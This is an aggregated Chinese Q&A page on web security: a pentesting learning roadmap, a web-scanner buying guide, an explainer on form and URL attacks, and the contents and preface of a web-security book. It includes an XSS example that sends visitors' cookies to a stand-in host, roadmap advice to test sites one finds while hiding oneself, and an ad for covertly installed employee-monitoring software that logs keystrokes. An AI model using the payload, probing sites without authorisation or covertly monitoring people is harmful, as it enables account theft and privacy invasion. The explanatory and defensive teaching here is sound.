㈠ WEB服务器安全渗透性测试方案
http://hi..com/zh2089/blog/category/%B1%BE%C8%CB%D4%AD%B4%B4
本人博客的几篇原创文章,里面有一些实例,LZ觉得可以的话请给最佳答案
㈡ 前端和php都是要学习什么内容,急急急,求详细解答
前端技术 HTNL+CSS+html5+css3+javascript+jquery+前端框架
作图工具 photoshop
编码工具 看自己喜欢
数据库 Mysql Sqlserver 等
程序语言 PHP ASP.NET JSP
㈢ 上网行为管理有多少功能啊
iMonitor EAM电脑监控软件,可以全方位监控员工电脑上的行为,客户端隐蔽启动,运行稳定,占用低,支持多屏幕实时桌面监控和远程控制,可以屏幕截图记录软件使用、聊天内容、文件操作、键盘输入内容、网站访问等员工的工作情况,还具备关键字检测、记录和禁止文件传输、USB设备使用,保护文档资料安全;黑名单可以禁止指定的网页和软件的使用,阻止员工上班期间,玩游戏刷淘宝等;报表统计功能可以统计分析员工电脑工作情况,从而制定更有效的管理措施,提高员工的工作效率
㈣ 比较好的web安全扫描工具有哪些
随着网站业务所承载内容的日益增多且重要性日益增强,网站本身的价值也越来越大,随之由网站漏洞带来的安全性问题也愈发严峻。新开通网站、新增专栏的准入质量评估,网站系统日常运行状况的检查预防和风险掌控,这些已成为各行业每年安全大检查中的关键要素。作为具体落实定期检查工作的安全人员,也急需选择一款优秀的网站扫描产品进行高效彻底的Web脆弱性评估检查,而如何选择一款真正实用的产品成为一个比较纠结的难题。
常见Web扫描方案的优劣势
目前常见的支持Web扫描解决方案的产品有很多,大家比较熟悉的有集成Web扫描模块的多合一系统扫描器,网上可免费下载的开源扫描器软件以及近几年刚崭露头角的独立Web扫描器产品等,都可以进行一定程度的Web安全扫描和漏洞发现。那么面对如此琳琅满目的选择时,大家如何细致区分辨识其差异,就需严格立足于实际需要,最终做出最佳的判断。
多合一的系统扫描器,通常会集主机扫描、配置核查、Web扫描及弱口令扫描于一身,是一款强大全面的多功能产品。但多合一的高度封装导致其在进行安全扫描时,除不能分配全部计算资源在Web扫描方面,扫描引擎自身还要兼顾到全方位的权衡与调优。反观目标Web应用呈现的种类多样性、规模庞大性和运行特殊性,在面对动辄上万、十万甚至百万级别网页数量的网站时,这种多合一产品就表现得差强人意,使用起来有种牛拉火车的感觉;同时,高效执行扫描评估就必须具备高并发的网页链接爬虫识别和Web插件交互逻辑判断能力,这一现实的冲突导致多合一扫描器在Web扫描及性能体验方面效果平平,优势不突出。
网上开源的Web扫描器软件,尽管完全免费并可以发现一些基本的漏洞信息,但其在第一时间发现新爆Web漏洞和漏洞趋势跟踪分析、修补方面,完全不具备后期支撑能力。而且在人性化设计及低学习门槛方面也存在太多先天的不足,其性能与稳定性更是与商业软件相差甚远。
面对综上同类产品,困惑于Web扫描场景需求种种局限的我们,很欣喜地看到了近几年声名鹊起的Web扫描器产品。它作为一款自动化评估类工具,依据制定的策略对Web应用系统进行URL深度发现并全面扫描,寻找出Web应用真实存在的安全漏洞,如跨站点脚本、SQL注入,命令执行、目录遍历和不安全的服务器配置。Web扫描器产品可以通过主动生成统计分析报告来帮助我们正确了解Web应用漏洞的详细分布、数量和风险优先级,并对发现的安全漏洞提出相应有力的改进意见供后续修补参考,是帮助我们高效彻底地进行Web脆弱性评估检查的坚实利器。
Web扫描器的三个误区
针对现有市面上诸多品牌的Web扫描器,大家在评价它们孰优孰劣时时常过于片面极端,主要表现为三个认识误区。
误区1:多就是好!
认为漏洞库条目多,检查出来的漏洞多就是好。Web扫描器面对庞大繁多、千差万别的应用系统,为提升检测性能,多采用高效率的Web通用插件,以一扫多,其不再局限于某个专门应用系统,深层次聚合归并,尽可能多地发现多种应用系统的同类漏洞。同时,对于扫描出来的非误报漏洞,若同属某一页面不同参数所致的相同漏洞,归纳整理,让最终呈现的漏洞报表简约而不简单,避免数量冗余、杂乱无章。故若以毫无插件归并能力,仅靠大量专门Web系统插件、罗列各类漏洞列表数量多来博取赞许的Web扫描器,其本质存在太多的不专业性。
误区2:快就是好!
认为扫描速度快耗时短的就是好。网站规模日趋复杂,日常检查时我们期待Web扫描器能有更高效率地完成扫描任务,这点无可厚非,但检查的本质是要最大限度地提前发现足够多的漏洞,并第一时间制定后续相应的修补计划。故在面对同一目标站点时,Web扫描器若能在单位时间内检测出来的有效存在漏洞数越多,这个快才是真的好。
误区3:小就是好!
认为扫描过程中对目标业务影响小就是好!这句话本身也没有问题,只要Web扫描器在执行扫描过程中,对目标系统负载响应和网络链路带宽占用,影响足够小,也就是我们常说的“无损扫描”,它就具备了一款优秀Web扫描器应有的先决条件。但是,这必须是在能最大限度发现Web漏洞的前提下才能考虑的关键因素,脱离这个产品本质,就本末倒置了。
五个基本评优标准
那么,评优一款Web扫描器,我们该从何处着手?具体的判断标准有哪些呢?
全——识别种类繁多的Web应用,集成最全的Web通用插件,通过全面识别网站结构和内容,逐一判断每一种漏洞可能性,换句话说,漏洞扫描的检测率一定要高,漏报率务必低,最终才能输出全面详尽的扫描报告。这就要求其在Web应用识别方面,支持各类Web语言类型(php、asp、.net、html)、应用系统类型(门户网站、电子政务、论坛、博客、网上银行)、应用程序类型(IIS、Apache、Tomcat)、第三方组件类型(Struts2、WebLogic、WordPress)等;插件集成方面,支持国际标准漏洞分类OWASP TOP 10和WASC插件分类模板,允许自定义扫描插件模板,第一时间插件更新速度等。
准——较高的漏洞准确性是Web扫描器权威的象征,可视化分析可助用户准确定位漏洞、分析漏洞。而误报是扫描类产品不能回避的话题。Web扫描器通过通用插件与目标站点任一URL页面进行逻辑交互,通过可视化的漏洞跟踪技术,精准判断和定位漏洞,并提供易读易懂的详细整改分析报告。除此之外,一款好的Web扫描器还要更具人性化,在漏洞发现后,允许扫描者进行手工、自动的漏洞批量验证,进而双重保障较高的准确性结果。
快——快速的扫描速度,才能在面对越来越大的网站规模,越发频繁的网站检查时游刃有余,进度保障。一款快速的Web扫描器除了有强劲马力的扫描引擎,高达百万/天的扫描速度,还要具备弹性灵活的集群扫描能力,任意增添扫描节点,轻松应对可能苛刻的扫描周期时间要求。
稳——稳定可靠的运行过程,对目标环境近乎零影响的Web扫描器,才能在诸行业大面积投入使用,特别是一些对业务影响要求苛刻的行业会更受青睐,毕竟没有人能够接受一款评估类产品,会对目标造成额外的损伤。市面上现在已有一些Web扫描器产品,其通过周期探寻目标系统,网络链路,自身性能负载等机制,依据目标环境的负载动态变化而自动调节扫描参数,从而保障扫描过程的足够稳定和几乎零影响。此外,随着网站规模,检查范围的不断扩大,保证持续稳定的扫描执行和统计评估,尽量避免扫描进度的半途而废,也提出了较高的可靠性运行要求。
易——人性化的界面配置,低成本的报表学习和强指导性修补建议。尤其是漏洞分布详情和场景重现方面,市面上大多数Web扫描器的报表都需要专业安全人员的二次解读后,普通的安全运维检查人员才能看懂,才知道长达百页报表给出的重要建议和下一步的具体修补措施,这无疑给使用者造成了较高的技术门槛,那么如何解决此易读、易用问题,就成为评定其优劣与否的一个重要指标。
总之,一款优秀的Web扫描器产品,它需要严格恪守五字核心方针,全、准、快、稳、易,做到全方位均衡,这样才能做到基本优秀。同时,随着网站检查诉求的日益多元化,它若能附带一些差异化特性,满足大家不同场景的网站安全运维扫描要求,如网站基本信息搜集,漏洞全过程时间轴跟踪,逐步可视化的漏洞验证和场景重现,自动修补直通车等,定会大大增加该款扫描器的评优力度。
㈤ 本人信息安全大一新生,想走web安全的渗透路线,需要完成什么知识储备希望前辈给点建议,谢谢。
作者:向生李
链接:https://www.hu.com/question/21914899/answer/39344435
来源:知乎
着作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
Web安全工程师
Web安全相关概念
熟悉基本概念(SQL注入、上传、XSS、CSRF、一句话木马等)。通过关键字(SQL注入、上传、XSS、CSRF、一句话木马等)进行Google/SecWiki;
阅读《精通脚本黑客》,虽然很旧也有错误,但是入门还是可以的;
看一些渗透笔记/视频,了解渗透实战的整个过程,可以Google(渗透笔记、渗透过程、入侵过程等);
3周
熟悉渗透相关工具
熟悉AWVS、sqlmap、Burp、nessus、chopper、nmap、Appscan等相关工具的使用。了解该类工具的用途和使用场景,先用软件名字Google/SecWiki;
下载无后们版的这些软件进行安装;
学习并进行使用,具体教材可以在SecWiki上搜索,例如:Brup的教程、sqlmap;
待常用的这几个软件都学会了可以安装音速启动做一个渗透工具箱;
5周
渗透实战操作
掌握渗透的整个阶段并能够独立渗透小型站点。网上找渗透视频看并思考其中的思路和原理,关键字(渗透、SQL注入视频、文件上传入侵、数据库备份、dedecms漏洞利用等等);
自己找站点/搭建测试环境进行测试,记住请隐藏好你自己;
思考渗透主要分为几个阶段,每个阶段需要做那些工作,例如这个:PTES渗透测试执行标准;
研究SQL注入的种类、注入原理、手动注入技巧;
研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架;
研究XSS形成的原理和种类,具体学习方法可以Google/SecWiki,可以参考:XSS;
研究Windows/Linux提权的方法和具体使用,可以参考:提权;
可以参考: 开源渗透测试脆弱系统;
1周
关注安全圈动态
关注安全圈的最新漏洞、安全事件与技术文章。通过SecWiki浏览每日的安全技术文章/事件;
通过Weibo/twitter关注安全圈的从业人员(遇到大牛的关注或者好友果断关注),天天抽时间刷一下;
通过feedly/鲜果订阅国内外安全技术博客(不要仅限于国内,平时多注意积累),没有订阅源的可以看一下SecWiki的聚合栏目;
养成习惯,每天主动提交安全技术文章链接到SecWiki进行积淀;
多关注下最新漏洞列表,推荐几个:exploit-db、CVE中文库、Wooyun等,遇到公开的漏洞都去实践下。
关注国内国际上的安全会议的议题或者录像,推荐SecWiki-Conference。
3周
熟悉Windows/Kali Linux
学习Windows/Kali Linux基本命令、常用工具;熟悉Windows下的常用的cmd命令,例如:ipconfig,nslookup,tracert,net,tasklist,taskkill等;
熟悉Linux下的常用命令,例如:ifconfig,ls,cp,mv,vi,wget,service,sudo等;
熟悉Kali Linux系统下的常用工具,可以参考SecWiki,《Web Penetration Testing with Kali Linux》、《Hacking with Kali》等;
熟悉metasploit工具,可以参考SecWiki、《Metasploit渗透测试指南》。
3周
服务器安全配置
学习服务器环境配置,并能通过思考发现配置存在的安全问题。Windows2003/2008环境下的IIS配置,特别注意配置安全和运行权限,可以参考:SecWiki-配置;
Linux环境下的LAMP的安全配置,主要考虑运行权限、跨目录、文件夹权限等,可以参考:SecWiki-配置;
远程系统加固,限制用户名和口令登陆,通过iptables限制端口;
配置软件Waf加强系统安全,在服务器配置mod_security等系统,参见SecWiki-ModSecurity;
通过Nessus软件对配置环境进行安全检测,发现未知安全威胁。
4周
脚本编程学习
选择脚本语言Perl/Python/PHP/Go/Java中的一种,对常用库进行编程学习。搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime,一些Sublime的技巧:SecWiki-Sublime;
Python编程学习,学习内容包含:语法、正则、文件、网络、多线程等常用库,推荐《Python核心编程》,不要看完;
用Python编写漏洞的exp,然后写一个简单的网络爬虫,可参见SecWiki-爬虫、视频;
PHP基本语法学习并书写一个简单的博客系统,参见《PHP与MySQL程序设计(第4版)》、视频;
熟悉MVC架构,并试着学习一个PHP框架或者Python框架(可选);
了解Bootstrap的布局或者CSS,可以参考:SecWiki-Bootstrap;
3周
源码审计与漏洞分析
能独立分析脚本源码程序并发现安全问题。熟悉源码审计的动态和静态方法,并知道如何去分析程序,参见SecWiki-审计;
从Wooyun上寻找开源程序的漏洞进行分析并试着自己分析;
了解Web漏洞的形成原因,然后通过关键字进行查找分析,参见SecWiki-代码审计、高级PHP应用程序漏洞审核技术;
研究Web漏洞形成原理和如何从源码层面避免该类漏洞,并整理成checklist。
5周
安全体系设计与开发
能建立自己的安全体系,并能提出一些安全建议或者系统架构。开发一些实用的安全小工具并开源,体现个人实力;
建立自己的安全体系,对公司安全有自己的一些认识和见解;
提出或者加入大型安全系统的架构或者开发;
看自己发展咯~
㈥ 什么是url攻击,浏览网页时杀软提示拦截url攻击,url攻击是什么样的,被
有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤,Web安全习惯上将所有用户输入的数据假定为受污染的数据(即可能带有攻击性的数据),现在比较流行的XSS(跨站脚本攻击)就是利用对用户输入过滤不完全而进行的攻击,因为用户数据过滤不完全会导致很多很多问题,我这里只是简单的介绍几种比较常见的表单及URL攻击方式,希望读者能够最大限度的注意过滤用户输入。
1)表单数据泄漏攻击
这个一般刚入行的人可能会犯错,说得通俗一点,就是该用POST方式提交数据的时候,用了GET方式提交数据,比如,用户登录时候用了GET方法,导致用户名和密码都在URL上直接显示出来了,当然假如真的傻到这种程度,这种应用大多还是属于自己玩玩的东西,不是产品。还有一种是登录等操作,在提交数据的时候被窃听或者拦截了,这种没有很好的方式去解决,最多就是利用可以在浏览器上执行的脚本,比如JavaScript对密码和用户加密后提交到服务器,而且最好采用不可逆的公共算法,在浏览器端执行的脚本如果使用自己的算法,会增加被破解的几率,当然如果你的加密程度能超过或者接近现在流行的公共加密算法,那么也是可以的:)
2)语义URL攻击
这也是利用提交的形式及参数进行攻击的,假如使用GET方式找回密码,url为:http://example.org/[email protected],那么产生的攻击也很简单,只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中,轻松获取别人密码,POST方式大体也是通过窃听方式获得提交的数据
3)文件上传攻击
文件上传造成的危害在表单攻击中是最大的,假如成功入侵,最坏的情况甚至是可以干任何想干的事情,因此对此不可小觑。常见的有大文件攻击,假如你的服务端没有做限制的话,那么你的硬盘很快就会被塞满,或者是你在客户端中只是简单的限制了一下,那些对于心怀不轨者都是摆设,太容易绕开了。假如上传的是一个可执行的脚本,在某种情况下会激活这个脚本,那么后果就不堪设想,验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者,但根本还是让存放用户上传的文件的目录没有执行权限,脚本不能执行,那么它也仅仅是一般文本而已。
4)跨站脚本攻击
跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。
所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
比如在一个博客平台提供商,一个心怀不轨的用户在写博客时故意在内容中插入<script> document.location = ’http://abc.example.org/steal.php?cookies=’ + document.cookie</script>,结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。
5)HTTP请求欺骗攻击
所谓上有政策下有对策,很多项目为了最大程度的得到高可信度的用户输入,甚至添加了判断referer的功能,可惜这个东西十分的不靠谱,随便一个CURL就可以欺骗过去。
毕竟所有的传输都只是个协议而已,而HTTP协议本身只是负责传输,并不负责诸如安全之类的其他问题,所以过程怎么伪造都是可以的,只要攻击者足够的熟悉HTTP协议,针对HTTP协议本身的攻击,似乎目前还没有看到,虽然欺骗、攻击随处可见,方式变化多样,只要做好了过滤,多想一点再多想一点,任何攻击得到的都是一个错误页面而已
㈦ 白帽子讲wed安全的书有效果吗
在互联网时代,数据安全与个人隐私受到了前所未有的挑战,各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据?本书将带你走进web安全的世界,让你了解web安全的方方面面。黑客不再变得神秘,攻击技术原来我也可以会,小网站主自己也能找到正确的安全道路。大公司是怎么做安全的,为什么要选择这样的方案呢?你能在本书中找到答案。详细的剖析,让你不仅能“知其然”,更能“知其所以然”。
《白帽子讲web安全》是根据作者若干年实际工作中积累下来的丰富经验而写成的,在解决方案上具有极强的可操作性,深入分析了各种错误的解决方案与误区,对安全工作者有很好的参考价值。安全开发流程与运营的介绍,对同行业的工作具有指导意义。
编辑推荐
“安全是互联网公司的生命,也是每一位网民的最基本需求。
一位天天听到炮声的白帽子和你分享如何呵护生命,满足最基本需求。这是一本能闻到硝烟味道的书。”
——阿里巴巴集团首席架构师 阿里云总裁 王坚
白帽子讲web安全 作译者:
吴翰清,毕业于西安交通大学少年班,从2000年开始研究网络攻防技术。在大学期间创立
了在中国安全圈内极具影响力的组织“幻影”。
2005年加入********,负责网络安全。工作期间,对********的安全开发流程、应用安全建设做出了杰出的贡献,并多次获得公司的表彰。曾先后帮助淘宝、支付宝建立了应用安全体系,保障公司业务得以快速而安全地发展。
2009年起,加入********支计算有限公司,负责云计算安全、反网络欺诈等工作,是********集团最具价值的安全专家。长期专注于安全技术的创新与实践,多有建树。同时还是owasp在中国的区域负责人之一,在互联网安全领域有着极其丰富的经验。平时乐于分享,个人博客的访问量迄今超过200万。多年来活跃在安全社区中,有着巨大的影响力。多次受邀在国内、国际安全会议上演讲,是中国安全行业的领军人物之一。
白帽子讲web安全 目录:
第一篇 世界观安全
第1章 我的安全世界观 2
1.1 web安全简史 2
1.1.1 中国黑客简史 2
1.1.2 黑客技术的发展历程 3
1.1.3 web安全的兴起 5
1.2 黑帽子,白帽子 6
1.3 返璞归真,揭秘安全的本质 7
1.4 破除迷信,没有银弹 9
1.5 安全三要素 10
1.6 如何实施安全评估 11
1.6.1 资产等级划分 12
1.6.2 威胁分析 13
1.6.3 风险分析 14
1.6.4 设计安全方案 15
1.7 白帽子兵法 16
1.7.1 secure by default原则 16
1.7.2 纵深防御原则 18
1.7.3 数据与代码分离原则 19
.1.7.4 不可预测性原则 21
1.8 小结 22
(附)谁来为漏洞买单? 23
第二篇 客户端脚本安全
第2章 浏览器安全 26
2.1 同源策略 26
2.2 浏览器沙箱 30
2.3 恶意网址拦截 33
2.4 高速发展的浏览器安全 36
2.5 小结 39
第3章 跨站脚本攻击(xss) 40
3.1 xss简介 40
3.2 xss攻击进阶 43
3.2.1 初探xss payload 43
3.2.2 强大的xss payload 46
3.2.3 xss 攻击平台 62
3.2.4 终极武器:xss worm 64
3.2.5 调试javascript 73
3.2.6 xss构造技巧 76
3.2.7 变废为宝:mission impossible 82
3.2.8 容易被忽视的角落:flash xss 85
3.2.9 真的高枕无忧吗:javascript开发框架 87
3.3 xss的防御 89
3.3.1 四两拨千斤:httponly 89
3.3.2 输入检查 93
3.3.3 输出检查 95
3.3.4 正确地防御xss 99
3.3.5 处理富文本 102
3.3.6 防御dom based xss 103
3.3.7 换个角度看xss的风险 107
3.4 小结 107
第4章 跨站点请求伪造(csrf) 109
4.1 csrf简介 109
4.2 csrf进阶 111
4.2.1 浏览器的cookie策略 111
4.2.2 p3p头的副作用 113
4.2.3 get? post? 116
4.2.4 flash csrf 118
4.2.5 csrf worm 119
4.3 csrf的防御 120
4.3.1 验证码 120
4.3.2 referer check 120
4.3.3 anti csrf token 121
4.4 小结 124
第5章 点击劫持(clickjacking) 125
5.1 什么是点击劫持 125
5.2 flash点击劫持 127
5.3 图片覆盖攻击 129
5.4 拖拽劫持与数据窃取 131
5.5 clickjacking 3.0:触屏劫持 134
5.6 防御clickjacking 136
5.6.1 frame busting 136
5.6.2 x-frame-options 137
5.7 小结 138
第6章 html 5 安全 139
6.1 html 5新标签 139
6.1.1 新标签的xss 139
6.1.2 iframe的sandbox 140
6.1.3 link types: noreferrer 141
6.1.4 canvas的妙用 141
6.2 其他安全问题 144
6.2.1 cross-origin resource sharing 144
6.2.2 postmessage——跨窗口传递消息 146
6.2.3 web storage 147
6.3 小结 150
第三篇 服务器端应用安全
第7章 注入攻击 152
7.1 sql注入 152
7.1.1 盲注(blind injection) 153
7.1.2 timing attack 155
7.2 数据库攻击技巧 157
7.2.1 常见的攻击技巧 157
7.2.2 命令执行 158
7.2.3 攻击存储过程 164
7.2.4 编码问题 165
7.2.5 sql column truncation 167
7.3 正确地防御sql注入 170
7.3.1 使用预编译语句 171
7.3.2 使用存储过程 172
7.3.3 检查数据类型 172
7.3.4 使用安全函数 172
7.4 其他注入攻击 173
7.4.1 xml注入 173
7.4.2 代码注入 174
7.4.3 crlf注入 176
7.5 小结 179
第8章 文件上传漏洞 180
8.1 文件上传漏洞概述 180
8.1.1 从fckeditor文件上传漏洞谈起 181
8.1.2 绕过文件上传检查功能 182
8.2 功能还是漏洞 183
8.2.1 apache文件解析问题 184
8.2.2 iis文件解析问题 185
8.2.3 php cgi路径解析问题 187
8.2.4 利用上传文件钓鱼 189
8.3 设计安全的文件上传功能 190
8.4 小结 191
第9章 认证与会话管理 192
9.1 who am i? 192
9.2 密码的那些事儿 193
9.3 多因素认证 195
9.4 session与认证 196
9.5 session fixation攻击 198
9.6 session保持攻击 199
9.7 单点登录(sso) 201
9.8 小结 203
第10章 访问控制 205
10.1 what can i do? 205
10.2 垂直权限管理 208
10.3 水平权限管理 211
10.4 oauth简介 213
10.5 小结 219
第11章 加密算法与随机数 220
11.1 概述 220
11.2 stream cipher attack 222
11.2.1 reused key attack 222
11.2.2 bit-flipping attack 228
11.2.3 弱随机iv问题 230
11.3 wep破解 232
11.4 ecb模式的缺陷 236
11.5 padding oracle attack 239
11.6 密钥管理 251
11.7 伪随机数问题 253
11.7.1 弱伪随机数的麻烦 253
11.7.2 时间真的随机吗 256
11.7.3 破解伪随机数算法的种子 257
11.7.4 使用安全的随机数 265
11.8 小结 265
(附)understanding md5 length extension attack 267
第12章 web框架安全 280
12.1 mvc框架安全 280
12.2 模板引擎与xss防御 282
12.3 web框架与csrf防御 285
12.4 http headers管理 287
12.5 数据持久层与sql注入 288
12.6 还能想到什么 289
12.7 web框架自身安全 289
12.7.1 struts 2命令执行漏洞 290
12.7.2 struts 2的问题补丁 291
12.7.3 spring mvc命令执行漏洞 292
12.7.4 django命令执行漏洞 293
12.8 小结 294
第13章 应用层拒绝服务攻击 295
13.1 ddos简介 295
13.2 应用层ddos 297
13.2.1 cc攻击 297
13.2.2 限制请求频率 298
13.2.3 道高一尺,魔高一丈 300
13.3 验证码的那些事儿 301
13.4 防御应用层ddos 304
13.5 资源耗尽攻击 306
13.5.1 slowloris攻击 306
13.5.2 http post dos 309
13.5.3 server limit dos 310
13.6 一个正则引发的血案:redos 311
13.7 小结 315
第14章 php安全 317
14.1 文件包含漏洞 317
14.1.1 本地文件包含 319
14.1.2 远程文件包含 323
14.1.3 本地文件包含的利用技巧 323
14.2 变量覆盖漏洞 331
14.2.1 全局变量覆盖 331
14.2.2 extract()变量覆盖 334
14.2.3 遍历初始化变量 334
14.2.4 import_request_variables变量覆盖 335
14.2.5 parse_str()变量覆盖 335
14.3 代码执行漏洞 336
14.3.1 “危险函数”执行代码 336
14.3.2 “文件写入”执行代码 343
14.3.3 其他执行代码方式 344
14.4 定制安全的php环境 348
14.5 小结 352
第15章 web server配置安全 353
15.1 apache安全 353
15.2 nginx安全 354
15.3 jboss远程命令执行 356
15.4 tomcat远程命令执行 360
15.5 http parameter pollution 363
15.6 小结 364
第四篇 互联网公司安全运营
第16章 互联网业务安全 366
16.1 产品需要什么样的安全 366
16.1.1 互联网产品对安全的需求 367
16.1.2 什么是好的安全方案 368
16.2 业务逻辑安全 370
16.2.1 永远改不掉的密码 370
16.2.2 谁是大赢家 371
16.2.3 瞒天过海 372
16.2.4 关于密码取回流程 373
16.3 账户是如何被盗的 374
16.3.1 账户被盗的途径 374
16.3.2 分析账户被盗的原因 376
16.4 互联网的垃圾 377
16.4.1 垃圾的危害 377
16.4.2 垃圾处理 379
16.5 关于网络钓鱼 380
16.5.1 钓鱼网站简介 381
16.5.2 邮件钓鱼 383
16.5.3 钓鱼网站的防控 385
16.5.4 网购流程钓鱼 388
16.6 用户隐私保护 393
16.6.1 互联网的用户隐私挑战 393
16.6.2 如何保护用户隐私 394
16.6.3 do-not-track 396
16.7 小结 397
(附)麻烦的终结者 398
第17章 安全开发流程(sdl) 402
17.1 sdl简介 402
17.2 敏捷sdl 406
17.3 sdl实战经验 407
17.4 需求分析与设计阶段 409
17.5 开发阶段 415
17.5.1 提供安全的函数 415
17.5.2 代码安全审计工具 417
17.6 测试阶段 418
17.7 小结 420
第18章 安全运营 422
18.1 把安全运营起来 422
18.2 漏洞修补流程 423
18.3 安全监控 424
18.4 入侵检测 425
18.5 紧急响应流程 428
18.6 小结 430
(附)谈谈互联网企业安全的发展方向 431
㈧ 白帽子讲Web安全的前言
在2010年年中的时候,博文视点的张春雨先生找到我,希望我可以写一本关于云计算安全的书。当时云计算的概念正如日中天,但市面上关于云计算安全应该怎么做却缺乏足够的资料。我由于工作的关系接触这方面比较多,但考虑到云计算的未来尚未清晰,以及其他的种种原因,婉拒了张春雨先生的要求,转而决定写一本关于Web安全的书。 我对安全的兴趣起源于中学时期。当时在盗版市场买到了一本没有书号的黑客手册,其中coolfire 的黑客教程令我印象深刻。此后在有限的能接触到互联网的机会里,我总会想方设法地寻找一些黑客教程,并以实践其中记载的方法为乐。
在2000年的时候,我进入了西安交通大学学习。在大学期间,最大的收获,是学校的计算机实验室平时会对学生开放。当时上网的资费仍然较贵,父母给我的生活费里,除了留下必要的生活所需费用之外,几乎全部投入在这里。也是在学校的计算机实验室里,让我迅速在这个领域中成长起来。
大学期间,在父母的资助下,我拥有了自己的第一台个人电脑,这加快了我成长的步伐。与此同时,我和一些互联网上志同道合的朋友,一起建立了一个技术型的安全组织,名字来源于我当时最喜爱的一部动漫:“幻影旅团”。历经十余载,“幻影”由于种种原因未能得以延续,但它却曾以论坛的形式培养出了当今安全行业中非常多的顶尖人才。这也是我在这短短二十余载人生中的最大成就与自豪。
得益于互联网的开放性,以及我亲手缔造的良好技术交流氛围,我几乎见证了全部互联网安全技术的发展过程。在前5年,我投入了大量精力研究渗透测试技术、缓冲区溢出技术、网络攻击技术等;而在后5年,出于工作需要,我把主要精力放在了对Web安全的研究上。 发生这种专业方向的转变,是因为在2005年,我在一位挚友的推荐下,加入了阿里巴巴。加入的过程颇具传奇色彩,在面试的过程中主管要求我展示自己的能力,于是我远程关闭了阿里巴巴内网上游运营商的一台路由设备,导致阿里巴巴内部网络中断。事后主管立即要求与运营商重新签订可用性协议。
大学时期的兴趣爱好,居然可以变成一份正经的职业(当时很多大学都尚未开设网络安全的课程与专业),这使得我的父母很震惊,同时也更坚定了我自己以此作为事业的想法。
在阿里巴巴我很快就崭露头角,曾经在内网中通过网络嗅探捕获到了开发总监的邮箱密码;也曾经在压力测试中一瞬间瘫痪了公司的网络;还有好几次,成功获取到了域控服务器的权限,从而可以以管理员的身份进入任何一位员工的电脑。
但这些工作成果,都远远比不上那厚厚的一摞网站安全评估报告让我更有成就感,因为我知道,网站上的每一个漏洞,都在影响着成千上万的用户。能够为百万、千万的互联网用户服务,让我倍感自豪。当时,Web正在逐渐成为互联网的核心,Web安全技术也正在兴起,于是我义无返顾地投入到对Web安全的研究中。
我于2007年以23岁之龄成为了阿里巴巴集团最年轻的技术专家。虽未有官方统计,但可能也是全集团里最年轻的高级技术专家,我于2010年获此殊荣。在阿里巴巴,我有幸见证了安全部门从无到有的建设过程。同时由于淘宝、支付宝草创,尚未建立自己的安全团队,因此我有幸参与了淘宝、支付宝的安全建设,为他们奠定了安全开发框架、安全开发流程的基础。 当时,我隐隐地感觉到了互联网公司安全,与传统的网络安全、信息安全技术的区别。就如同开发者会遇到的挑战一样,有很多问题,不放到一个海量用户的环境下,是难以暴露出来的。由于量变引起质变,所以管理10台服务器,和管理1万台服务器的方法肯定会有所区别;同样的,评估10名工程师的代码安全,和评估1000名工程师的代码安全,方法肯定也要有所不同。
互联网公司安全还有一些鲜明的特色,比如注重用户体验、注重性能、注重产品发布时间,因此传统的安全方案在这样的环境下可能完全行不通。这对安全工作提出了更高的要求和更大的挑战。
这些问题,使我感觉到,互联网公司安全可能会成为一门新的学科,或者说应该把安全技术变得更加工业化。可是我在书店中,却发现安全类目的书,要么是极为学术化的(一般人看不懂)教科书,要么就是极为娱乐化的(比如一些“黑客工具说明书”类型的书)说明书。极少数能够深入剖析安全技术原理的书,以我的经验看来,在工业化的环境中也会存在各种各样的问题。
这些问题,也就促使我萌发了一种写一本自己的书,分享多年来工作心得的想法。它将是一本阐述安全技术在企业级应用中实践的书,是一本大型互联网公司的工程师能够真正用得上的安全参考书。因此张春雨先生一提到邀请我写书的想法时,我没有做过多的思考,就答应了。
Web是互联网的核心,是未来云计算和移动互联网的最佳载体,因此Web安全也是互联网公司安全业务中最重要的组成部分。我近年来的研究重心也在于此,因此将选题范围定在了Web安全。但其实本书的很多思路并不局限于Web安全,而是可以放宽到整个互联网安全的方方面面之中。
掌握了以正确的思路去看待安全问题,在解决它们时,都将无往而不利。我在2007年的时候,意识到了掌握这种正确思维方式的重要性,因此我告知好友:安全工程师的核心竞争力不在于他能拥有多少个0day,掌握多少种安全技术,而是在于他对安全理解的深度,以及由此引申的看待安全问题的角度和高度。我是如此想的,也是如此做的。
因此在本书中,我认为最可贵的不是那一个个工业化的解决方案,而是在解决这些问题时,背后的思考过程。我们不是要做一个能够解决问题的方案,而是要做一个能够“漂亮地”解决问题的方案。这是每一名优秀的安全工程师所应有的追求。 然而在当今的互联网行业中,对安全的重视程度普遍不高。有统计显示,互联网公司对安全的投入不足收入的百分之一。
在2011年岁末之际,中国互联网突然卷入了一场有史以来最大的安全危机。12月21日,国内最大的开发者社区CSDN被黑客在互联网上公布了600万注册用户的数据。更糟糕的是,CSDN在数据库中明文保存了用户的密码。接下来如同一场盛大的交响乐,黑客随后陆续公布了网易、人人、天涯、猫扑、多玩等多家大型网站的数据库,一时间风声鹤唳,草木皆兵。
这些数据其实在黑客的地下世界中已经辗转流传了多年,牵扯到了一条巨大的黑色产业链。这次的偶然事件使之浮出水面,公之于众,也让用户清醒地认识到中国互联网的安全现状有多么糟糕。
以往类似的事件我都会在博客上说点什么,但这次我保持了沉默。因为一来知道此种状况已经多年,网站只是在为以前的不作为而买单;二来要解决“拖库”的问题,其实是要解决整个互联网公司的安全问题,远非保证一个数据库的安全这么简单。这不是通过一段文字、一篇文章就能够讲清楚的。但我想最好的答案,可以在本书中找到。
